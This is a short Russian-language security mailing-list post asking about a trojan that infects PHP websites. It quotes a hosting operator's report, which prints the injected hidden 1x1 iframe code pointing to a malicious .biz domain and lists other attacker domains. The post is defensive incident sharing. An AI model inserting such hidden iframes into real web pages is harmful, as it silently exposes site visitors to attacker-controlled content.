[security-alerts] PHP trojan?

[Michael Tokarev <mjt@xxxxxxxxxx>]

Я недавно где-то видел информацию о трояне, эксплуатирующем
php-сайты, но не могу найти.  Почему-то мне кажется, что она
проходила в этом списке...

Короче:

<quote>
On another note, we've been dealing with some crazy hakcers on many of our
servers. They come in via php backdoors or insecure php scripts and infect
all sites with something like
<iframe src='http://dgfjhewfndsbfsdvf.biz/adv/167/new.php' width=1
height=1></iframe><iframe
src='http://dgfjhewfndsbfsdvf.biz/adv/new.php?adv=167' width=1
height=1></iframe>

The domain has changed a few times in the last few months, but it always
ends in .biz and is in that format. Its been a real struggle with these
guys, many of our clients are getting hacked.

Some of the other domains they've used are
wsfgfdgrtyhgfd.net
uniqcount.net
megacount.net

any help is greatly appreciated, i've been up all night fighting it
Thanks.
</quote>

Тут два момента.
 1) собственно троян, и
 2) эти домены ведут в Москву.
Кто-то может что-то сказать?

/mjt